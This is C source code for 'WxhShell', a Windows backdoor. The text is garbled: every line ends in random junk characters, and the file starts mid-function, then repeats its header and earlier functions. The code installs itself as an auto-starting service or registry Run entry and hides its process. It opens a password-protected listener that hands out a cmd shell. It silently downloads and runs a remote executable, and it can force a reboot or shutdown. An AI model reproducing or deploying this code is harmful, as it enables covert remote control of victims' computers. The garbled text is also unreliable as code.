    if(Boot(SHUTDOWN)) "u3fs2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F``EARG)iu  
    else { =H.<"7  
    closesocket(wsh); DjevX7Q  
    ExitThread(0); L@d]RMNv  
    } E.zYi7YUKK  
    break; bv:0EdVr  
    } b n<I#ZH2  
  // 获取shell t(uB66(_F  
  case 's': { \S|VkPv  
    CmdShell(wsh);  )zk?yY6  
    closesocket(wsh); S?,KgMVM  
    ExitThread(0); HlOAo:8'  
    break; #2ZrdD"5kQ  
  } di)noQXkB-  
  // 退出 !DY2{Wb  
  case 'x': { 1%]{0P0?[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W_e-7=6  
    CloseIt(wsh); vMW-gk  
    break; n{qa]3  
    } 1A)wbH)  
  // 离开 k`iq<b  
  case 'q': { Q9x` Uy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fed[^wW  
    closesocket(wsh); ATXx? b8h  
    WSACleanup(); YDZ1@N}^B  
    exit(1); #Kb)>gzT  
    break; <Vr] 2mw  
        } zn?a|kt  
  } ]ukj]m/@  
  } LzEE]i  
p[k9C$@e}  
  // 提示信息 =`7)X\i@z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &a2V-|G',  
} c-3YSrY  
  } VW<" c 5|  
9cw4tqTm  
  return; zM9).D H  
} W&~iO   
B#Oc8`1Y  
// shell模块句柄 >/OXC+=^4  
int CmdShell(SOCKET sock) 'mY,>#sT  
{ >FMT#x t  
STARTUPINFO si; [2H(yLwO  
ZeroMemory(&si,sizeof(si)); exrt|A] _[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?` ZGM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l.NkS   
PROCESS_INFORMATION ProcessInfo; c_8mQ  
char cmdline[]="cmd"; &0<R:K?>N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *IO;`k q,;  
  return 0; ?D$b%G{  
} L!}j3(I  
]@<3 6ByM  
// 自身启动模式 LXLIos55S  
int StartFromService(void) RxDxLU2kt  
{ Uub%s`O  
typedef struct f6_|dvY3  
{ yOCcp+`T}  
  DWORD ExitStatus; 9Nbg@5(  
  DWORD PebBaseAddress; @v-)|8GdY  
  DWORD AffinityMask; "62Ysapq+  
  DWORD BasePriority; 0 c'2rx  
  ULONG UniqueProcessId; z?) RF[  
  ULONG InheritedFromUniqueProcessId; D(ntVR  
}   PROCESS_BASIC_INFORMATION; 02 c.;ka3  
G|Yp <W%o  
PROCNTQSIP NtQueryInformationProcess; :>-sITeY  
CH_Dat >  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g}og@UY7#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2D_Vo ])l/  
>D^7v(&  
  HANDLE             hProcess; -0J<R;cVs  
  PROCESS_BASIC_INFORMATION pbi; @f01xh=8  
LVcy.kU@]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Va[dZeoy  
  if(NULL == hInst ) return 0; mt6uW+t/  
c68$pgG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); % |Gzht\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @_:?N(%(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X%\6V;zR#  
3'@jRK  
  if (!NtQueryInformationProcess) return 0; i2R]lE8  
(IQ L`3f%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bzL;)H4Eo  
  if(!hProcess) return 0; 73Zs/  
k)t8J\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,7nb;$]  
qf&{O:,Z  
  CloseHandle(hProcess); q@yabuN@,j  
~=gH7V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f6A['<%o  
if(hProcess==NULL) return 0; "YU~QOGx@  
FrM~6A_  
HMODULE hMod; 48*pKbbM4  
char procName[255]; ill'K Py  
unsigned long cbNeeded; 3T^dgWXEG  
t-m,~IoW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DMpd(ws  
$>37PVVW  
  CloseHandle(hProcess); ' "p*FN  
#EK8Qe_  
if(strstr(procName,"services")) return 1; // 以服务启动 W 9MZ  
WC;a  
  return 0; // 注册表启动 3sIM7WD?  
} ,+evP=(cX  
~TIZumGB  
// 主模块 `r$WInsDu  
int StartWxhshell(LPSTR lpCmdLine) #u(,#(P'#  
{ <T[ui  
  SOCKET wsl; -zkL)<7  
BOOL val=TRUE; RxG./GY  
  int port=0; $ !=:ES  
  struct sockaddr_in door; [`dipLkr  
dR{ V,H7N  
  if(wscfg.ws_autoins) Install(); *dgN pJ 9  
Qn&^.e9I  
port=atoi(lpCmdLine); 84cH|j`w  
XmR5dLc8  
if(port<=0) port=wscfg.ws_port; <OB~60h"  
SXF_)1QO\W  
  WSADATA data; ]`9K|v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8 z7,W3b  
wajhFBJ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ogbdt1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _3>zi.J/  
  door.sin_family = AF_INET; |/Z)?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  p$v +L  
  door.sin_port = htons(port); qRLypm  
yBKlp08J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uMZf9XUE  
closesocket(wsl); KK|Jach  
return 1; n/D]r  
} [)u{-  
~cwwB{  
  if(listen(wsl,2) == INVALID_SOCKET) { W{aNS@1  
closesocket(wsl); CgE5;O  
return 1; ~Wv?p4  
} ;O>fy :$'  
  Wxhshell(wsl); pQ8+T|0x  
  WSACleanup(); t,nB`g?  
px@\b]/  
return 0; `;@4f |N9  
=Y[Ae7e  
} b"9,DQB=i  
DcHMiiVM  
// 以NT服务方式启动 1fZ:^|\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xM\ApN~W  
{ k*^W lCZ3  
DWORD   status = 0; BZ9iy~  
  DWORD   specificError = 0xfffffff; O2f2Fb$B7  
\f#ao<vQm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]+P &Y:   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |e >-v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *E'K{?-K  
  serviceStatus.dwWin32ExitCode     = 0; 4uA^/]ygo  
  serviceStatus.dwServiceSpecificExitCode = 0; = ;d<Ikj  
  serviceStatus.dwCheckPoint       = 0; (%}C  
  serviceStatus.dwWaitHint       = 0; 1O4"MeF  
%\0 Y1!Hw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b??1Up  
  if (hServiceStatusHandle==0) return; HxaUVg0  
=d}3>YHS  
status = GetLastError(); /jD'o>  
  if (status!=NO_ERROR) |sz9l/,lG  
{ C+5nft6:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !=:c8V  
    serviceStatus.dwCheckPoint       = 0; R8l9i2  
    serviceStatus.dwWaitHint       = 0; -w B AFr  
    serviceStatus.dwWin32ExitCode     = status; Rd)QVEk>SD  
    serviceStatus.dwServiceSpecificExitCode = specificError; P>|2~YxjU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c3##:"wr  
    return; iq$/ 6!t  
  } Sls> OIc  
+zsya4r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o6 /?WR9  
  serviceStatus.dwCheckPoint       = 0; ,"o \_{<z  
  serviceStatus.dwWaitHint       = 0; LxT] -  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K@m^QioMj  
} }kpkHq"`f  
N2>JG]G  
// 处理NT服务事件,比如:启动、停止 PBmt.yF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $4&Ql  
{ :9}*p@  
switch(fdwControl) `;;!>rm  
{ Lmb<)YY  
case SERVICE_CONTROL_STOP: ^;a[v^&9  
  serviceStatus.dwWin32ExitCode = 0; iwbjjQPr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E _K7.c4M  
  serviceStatus.dwCheckPoint   = 0; =R05H2hs  
  serviceStatus.dwWaitHint     = 0; H|Ems}b  
  { )n.peZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _D~a4tgS  
  } X 6)LpMm  
  return; 8/:\iPk0  
case SERVICE_CONTROL_PAUSE: -LyIu#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x?3p3[y  
  break; bm;4NA?Gg  
case SERVICE_CONTROL_CONTINUE: _3hEYeh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]Uu/1TTf  
  break; 3r\QLIr L8  
case SERVICE_CONTROL_INTERROGATE: $[Fk>d  
  break; r$KDNa$/a  
}; wQ5__"D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); + '`RJ,K+[  
} 4t":WutC  
KvQ9R!V  
// 标准应用程序主函数 _#+i;$cO-X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y.zW>Mfl  
{ /vu7;xVG  
jzQgD ed ]  
// 获取操作系统版本 O'k"6sBb  
OsIsNt=GetOsVer(); yxH[uJpb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Vh&uSi1V  
\?j(U8mB>  
  // 从命令行安装 R$q:Ct  
  if(strpbrk(lpCmdLine,"iI")) Install(); MStaP;|  
x-[l`k.V  
  // 下载执行文件 ^#nAS2w7U  
if(wscfg.ws_downexe) { j0J6ySlY  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %EuSP0  
  WinExec(wscfg.ws_filenam,SW_HIDE); fIu/*PFPVY  
} O_ ~\$b  
[Mx+t3M  
if(!OsIsNt) { $3So`8Bm[$  
// 如果时win9x,隐藏进程并且设置为注册表启动 RW'QU`N[Y  
HideProc(); 8O]$)E  
StartWxhshell(lpCmdLine); ~sOAm  
} (UCWSA7oc  
else % 74}H8q_z  
  if(StartFromService()) Z',pQ{rD  
  // 以服务方式启动 =dPrG=A   
  StartServiceCtrlDispatcher(DispatchTable); um/iK}O  
else bFcI\Q{4  
  // 普通方式启动 8{AzB8xp  
  StartWxhshell(lpCmdLine); lyP<&<Y5  
L9T|*?||  
return 0; 2gA6$s7  
} OmsNo0OA  
_f/6bpv  
yovC~  
~x2azY2DP  
=========================================== vForj*Xo  
u-D%: lz85  
"lB[IB)  
m}rUc29cS,  
U2;_{n*g%  
yTv#T(of  
" 3qP! (*  
,#nyEE  
#include <stdio.h> }}<^f M  
#include <string.h>  eGjEO&$  
#include <windows.h> -GH>12YP  
#include <winsock2.h> [&51m^  
#include <winsvc.h> #V@[<S2  
#include <urlmon.h> U`z=!KI+g  
%AaZc=a[c  
#pragma comment (lib, "Ws2_32.lib") EjrK.|I0  
#pragma comment (lib, "urlmon.lib") H>X:#xOA_  
FG/1!8F  
#define MAX_USER   100 // 最大客户端连接数 ]v=A}}kS  
#define BUF_SOCK   200 // sock buffer @kd`9Yw  
#define KEY_BUFF   255 // 输入 buffer EN^5 Hppb  
0-6rIdDTM  
#define REBOOT     0   // 重启 {{qu:(_g  
#define SHUTDOWN   1   // 关机 Qu|H_<8g  
&sJ-&7YZ  
#define DEF_PORT   5000 // 监听端口 n&1q*  
DZ"'GQSg  
#define REG_LEN     16   // 注册表键长度 shKTj5s?  
#define SVC_LEN     80   // NT服务名长度 }20~5!  
3?5JY;}h>"  
// 从dll定义API A`71L V%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }p5_JXBV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q`kV| pjg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5X&Y~w,poU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -!q^/ux  
8 kvF~d ;  
// wxhshell配置信息 $+w:W85B  
struct WSCFG { 5/8=Do](  
  int ws_port;         // 监听端口 bI+/0X x  
  char ws_passstr[REG_LEN]; // 口令 2ca#@??R  
  int ws_autoins;       // 安装标记, 1=yes 0=no OY Sq)!:  
  char ws_regname[REG_LEN]; // 注册表键名 V/`vX;%  
  char ws_svcname[REG_LEN]; // 服务名 F%P"T%|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zG{P5@:.R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :CLWmMC_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .exBU1Yk@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <p/zm}?')  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L I*=T   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oz:"w nX  
;.'?(iEB  
}; 1*" 7q9x  
#N"m[$;QR  
// default Wxhshell configuration 4M#i_.`z  
struct WSCFG wscfg={DEF_PORT, x$;RfK2&p  
    "xuhuanlingzhe", i-PK59VZ8f  
    1, )xq=V  
    "Wxhshell", 'Lq+ONX5  
    "Wxhshell", Z_[ P7P  
            "WxhShell Service", fV@ [S  
    "Wrsky Windows CmdShell Service", Ge_fU'F  
    "Please Input Your Password: ", ~7 `,}) d  
  1, UB/"&I uo  
  "http://www.wrsky.com/wxhshell.exe", l`.z^+!8@  
  "Wxhshell.exe" 4GbfA .u  
    };  9u^M{6  
"4\k1H"_  
// 消息定义模块 {CV+1kz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :.4O Hp1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; " i:[|7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }4p)UX>aWT  
char *msg_ws_ext="\n\rExit."; ").gPmC  
char *msg_ws_end="\n\rQuit."; b"uO BB  
char *msg_ws_boot="\n\rReboot..."; Da615d  
char *msg_ws_poff="\n\rShutdown..."; 9w- )??  
char *msg_ws_down="\n\rSave to "; 1~t.2eUG  
md*U  
char *msg_ws_err="\n\rErr!"; s3eS` rK-  
char *msg_ws_ok="\n\rOK!"; gUNhN1=  
XVkw/ l  
char ExeFile[MAX_PATH]; y{/7z}d  
int nUser = 0; 1^LdYO?g'  
HANDLE handles[MAX_USER]; gu3iaM$W  
int OsIsNt; ele@xl  
L/ Q[N^ (^  
SERVICE_STATUS       serviceStatus; h~7#$i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s EFQ8S  
dpTsTU!\  
// 函数声明 ydyTDn  
int Install(void); \?; `_E`j  
int Uninstall(void); kh9'W<tE  
int DownloadFile(char *sURL, SOCKET wsh); M2Jf-2  
int Boot(int flag); +9w[/n^,G  
void HideProc(void); z3y{0<3  
int GetOsVer(void); GuO}CQs^W  
int Wxhshell(SOCKET wsl); Hl`OT5 pNf  
void TalkWithClient(void *cs); HD^#"  
int CmdShell(SOCKET sock); 7Y9#y{v1  
int StartFromService(void); :ZM9lBYh  
int StartWxhshell(LPSTR lpCmdLine); iqvLu{  
I )rO|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sqrLys_S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X>8,C^~$1  
>x{("``D0y  
// 数据结构和表定义 Jqj!k*=/  
SERVICE_TABLE_ENTRY DispatchTable[] = \IE![=p\w  
{ r }lGcG)  
{wscfg.ws_svcname, NTServiceMain}, @khFk.LBD  
{NULL, NULL}  !BsQJ_H  
}; g}NO$?ndg  
/~Y\KOH|  
// 自我安装 fZ$b8  
int Install(void) au{) 5W4~  
{ _K o#36.S  
  char svExeFile[MAX_PATH]; itg_+%^R  
  HKEY key; ;=y"Z^  
  strcpy(svExeFile,ExeFile); 17 Ugz?  
t(u2%R4<d  
// 如果是win9x系统,修改注册表设为自启动 `}EnY@*h  
if(!OsIsNt) { pR61bl)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M7TLQqaF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0 0N[ : %  
  RegCloseKey(key); N1$u@P{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h3o'T=`Sm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8zp?WUb  
  RegCloseKey(key); =Kd'(ct  
  return 0; 0$*7lQ<a#M  
    } *'>_XX  
  } A7% d  
} k =5k)}i  
else { X' `n>1z  
/65YHXg,  
// 如果是NT以上系统,安装为系统服务 C[L 5H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j'D%eQI,V  
if (schSCManager!=0) Lc{AB!Br  
{ 2_q/<8t  
  SC_HANDLE schService = CreateService ~CNB3r5R  
  ( =I# pXL  
  schSCManager, 5W&L6.J}+  
  wscfg.ws_svcname, ;z'&$#pA  
  wscfg.ws_svcdisp, g(@F`W[  
  SERVICE_ALL_ACCESS, t7f(%/] H0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (!* l+}  
  SERVICE_AUTO_START, OG5{oH#K  
  SERVICE_ERROR_NORMAL, q3x"9i `  
  svExeFile, Xdn&%5rI  
  NULL, t%:7W[_s  
  NULL, +F)EGB%LXs  
  NULL, tm~9XFQ<  
  NULL, Z[#8F&QV!m  
  NULL )]fsl_Yq  
  ); s<!A< +Sh  
  if (schService!=0) 90vWqL!  
  { |5^ iqW  
  CloseServiceHandle(schService); cfTT7O#Dc  
  CloseServiceHandle(schSCManager); %p 6Ms  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LeCc`x,5  
  strcat(svExeFile,wscfg.ws_svcname); I): c#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hk?i0#7W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &{Z+p(3Gj  
  RegCloseKey(key); G#%Sokkb'  
  return 0; N3u06  
    } F@<cp ?dR  
  } WSozDNF!'f  
  CloseServiceHandle(schSCManager); QBa+xI_ J  
} W> TG?hH  
} :Racu;xf  
;mpYcpI  
return 1; U6-47m0%  
} ThV>gn5  
KpGx<+0p  
// 自我卸载 oXZWg~&l^  
int Uninstall(void) q7CLxv &QG  
{ }XUL\6U  
  HKEY key; N^QxqQ~  
6.]~7n  
if(!OsIsNt) { .s\lfBo9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "M:ui0YP  
  RegDeleteValue(key,wscfg.ws_regname); Ry +?#P+  
  RegCloseKey(key); NnAIL;WS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #H6YI3 `G  
  RegDeleteValue(key,wscfg.ws_regname); 3FvVM0l"  
  RegCloseKey(key); ?GX@&_  
  return 0; {`):X_$T  
  } `%\CO `  
} +s<6eHpm  
} `\@n&y[`7  
else { mx)!]B"  
?$`kT..j,u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (g@X.*c8  
if (schSCManager!=0) <zpxodM@T  
{ +tk`$g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S0StC$$1  
  if (schService!=0) Bvvja C  
  { j3&q?1  
  if(DeleteService(schService)!=0) { r], %:imGr  
  CloseServiceHandle(schService); yMdu Zmkc  
  CloseServiceHandle(schSCManager); &w9*pJR %  
  return 0; iuj%.}  
  } O)W+rmToI  
  CloseServiceHandle(schService); a;bmlV04  
  } T 9`AL  
  CloseServiceHandle(schSCManager); J<L\IP?%  
} K bQXH!J  
} vJs6nVbK  
r?u4[ Oe#  
return 1; Qq6'[Od  
} '__>M>[  
jvv=  
// 从指定url下载文件 auGK2i  
int DownloadFile(char *sURL, SOCKET wsh) CF3x\6.q}  
{ +@uA  
  HRESULT hr; lV:feX  
char seps[]= "/"; Lios1|5  
char *token; &_]G0~e  
char *file; w;Azxcw  
char myURL[MAX_PATH]; !\|  
char myFILE[MAX_PATH]; b5MU$}:  
PZru:.Mh  
strcpy(myURL,sURL); ]gX8z#*k  
  token=strtok(myURL,seps); s#<fj#S  
  while(token!=NULL) p*<I_QM!  
  { P(yLRc  
    file=token; VMF?qT3Nd  
  token=strtok(NULL,seps); FO>!T@0G  
  } ">!pos`<C  
vCej( ))  
GetCurrentDirectory(MAX_PATH,myFILE); ;o)'dK  
strcat(myFILE, "\\"); I++ Le%w  
strcat(myFILE, file); [>>_%T\I  
  send(wsh,myFILE,strlen(myFILE),0); k?HdW(HA  
send(wsh,"...",3,0); ,d*1|oUw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8&HBR #  
  if(hr==S_OK) X]9<1[f  
return 0; u(yN81  
else Lj|wFV  
return 1; zOA~<fhT  
fe<7D\Sp@  
} 6:S, {@G  
Z3MhHvvgp{  
// 系统电源模块 zqrqbqK5R  
int Boot(int flag) wO.d;SK  
{ lvODhoT  
  HANDLE hToken; LUxDP#~7  
  TOKEN_PRIVILEGES tkp; \ :s%;s51  
u0<yGsEGD  
  if(OsIsNt) { JFc, f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LH}9&FfjU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); sZ&6g<8#y  
    tkp.PrivilegeCount = 1; qT$IV\;_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'hWA&Xx +  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'Q=)-  
if(flag==REBOOT) { <K&A/Ue  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bh5P98s  
  return 0; t90M]EAV  
} # "c'eG0  
else { j 7:r8? G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [ *It' J^  
  return 0; 2<OU)rVE4  
} ,6MJW#~]  
  } @",#'eC"  
  else { ,<K+.7,)E  
if(flag==REBOOT) { e<{ d{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V;RgO}  
  return 0; <]%6x[  
} c\>I0HH;!  
else { |.RyF@N`T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z]hRc8 g}d  
  return 0; 3B%7SX  
} _3%:m||,XP  
} q,#s m'S  
`Rq|*:LV  
return 1; ~vpF|4Zn5  
} 5tkKd4VfL  
-Wmb M]Z  
// win9x进程隐藏模块 C4PT(cezR  
void HideProc(void) ;Q q_  
{ @}R y7H0O  
Sn'!Nq>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =$bF[3D  
  if ( hKernel != NULL ) RAhDSDf  
  { Y ~I>mc]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [~|k;\2 +  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); oI`Mn3N  
    FreeLibrary(hKernel); 44~ReN}`  
  } D9P,[:"  
DFZ@q=ZT  
return; OMmfTlM%  
} L.;x=w  
6rmx{Bt  
// 获取操作系统版本 kk<%VKC  
int GetOsVer(void) :epB:r  
{ KK >j V  
  OSVERSIONINFO winfo; q[P>s{"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); JBw2#ry  
  GetVersionEx(&winfo); ZGX"Vn|YL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +?3RC$jyw  
  return 1; _(gkYJ+MK  
  else 2P'Vp7f6 Y  
  return 0; !F~1+V>zP  
} TBJ?8W(  
h7K,q  S  
// 客户端句柄模块 Gl w|*{$  
int Wxhshell(SOCKET wsl) $U7/w?gc'  
{ =Oh$pZRymu  
  SOCKET wsh; @,Dnl v|?  
  struct sockaddr_in client; ^9hc`.5N&?  
  DWORD myID; rmvrv.$3  
/o6ido  
  while(nUser<MAX_USER) G.XxlI}  
{ ;}S_PnwC@  
  int nSize=sizeof(client); DH _~,tK9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U)-aecB!  
  if(wsh==INVALID_SOCKET) return 1; "N &ix*($  
qR2cRepV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `l?MmIJ  
if(handles[nUser]==0) V#b*:E.cA  
  closesocket(wsh); rs>,p)  
else MU] F'6V  
  nUser++; }2BNy9q@  
  } 'CqAjlj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RDQ]_wsyKG  
<)O#Y76s  
  return 0; s2N'Ip  
} #LR6wEk  
Qz{Vl> "  
// 关闭 socket oui0:Vy<  
void CloseIt(SOCKET wsh) n 78!]O  
{ p\'X%R  
closesocket(wsh); MxGQM>  
nUser--; Pk5\v0vkg  
ExitThread(0); ;2fzA<RkK  
} y<`:I|y  
{#z47Rz  
// 客户端请求句柄 $[cB6  
void TalkWithClient(void *cs) g0/ R\  
{ (1er?4  
q(s0dkrj  
  SOCKET wsh=(SOCKET)cs; ?_S);  
  char pwd[SVC_LEN]; mpDxJk!   
  char cmd[KEY_BUFF]; yl' IL#n]r  
char chr[1]; r_'];  
int i,j; \Z%_dT}  
X&49C:jN  
  while (nUser < MAX_USER) { g;o5m}  
#z_.!E  
if(wscfg.ws_passstr) { u,YmCEd_V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2"Unk\Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z>1yLt@ls  
  //ZeroMemory(pwd,KEY_BUFF); 6+>X`k%D  
      i=0; vPy."/[u  
  while(i<SVC_LEN) { 4uE/!dT  
3v#F0s|  
  // 设置超时 !]7L9TGn  
  fd_set FdRead; +]H!q W:  
  struct timeval TimeOut; cUi6 On1C  
  FD_ZERO(&FdRead); G}WY0FC6  
  FD_SET(wsh,&FdRead); b|k(:b-G&.  
  TimeOut.tv_sec=8; #.}&6ZP  
  TimeOut.tv_usec=0; h: z$uG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NZ^hp\q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &)!N5Veb  
JkLpoe81  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BH$hd|KD<  
  pwd=chr[0]; 4>HQ2S{t  
  if(chr[0]==0xd || chr[0]==0xa) { a(`"qS  
  pwd=0; FPE6H:'  
  break; { ux'9SA  
  } +- hfl/$  
  i++; 56Lt "Z F  
    } N_0B[!B]  
>dDcm  
  // 如果是非法用户,关闭 socket NeewV=[%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ub4(g~E  
} 8*]dA ft  
~Bt >Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >(Wt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3XUie;*`  
}qhND-9#@  
while(1) { _#<7s`i  
gYw=Z_z  
  ZeroMemory(cmd,KEY_BUFF); 3+vMi[YO  
TI^X gl~  
      // 自动支持客户端 telnet标准   *Y ?&N2@c  
  j=0; cN: ek|r  
  while(j<KEY_BUFF) { R+=Xr<`%U|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2&<&q J  
  cmd[j]=chr[0]; :rN5HOg^9  
  if(chr[0]==0xa || chr[0]==0xd) { <'P+2(Oi  
  cmd[j]=0; zj;Ktgc E  
  break; |OBZSk1jp  
  } 6"o@d8>v  
  j++; YD;"_yH  
    } O6\t_.  
 11-?M  
  // 下载文件 E@)9'?q  
  if(strstr(cmd,"http://")) { S\A9r!2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T'%R kag>  
  if(DownloadFile(cmd,wsh)) +?C7(-U>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z+S1e~~  
  else t[bZg9;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (0 S;eM&  
  } udX!R^8jE  
  else { PWN$x`h g[  
S>EO6z#   
    switch(cmd[0]) { `g,i `<  
  ?~rz'Pu~  
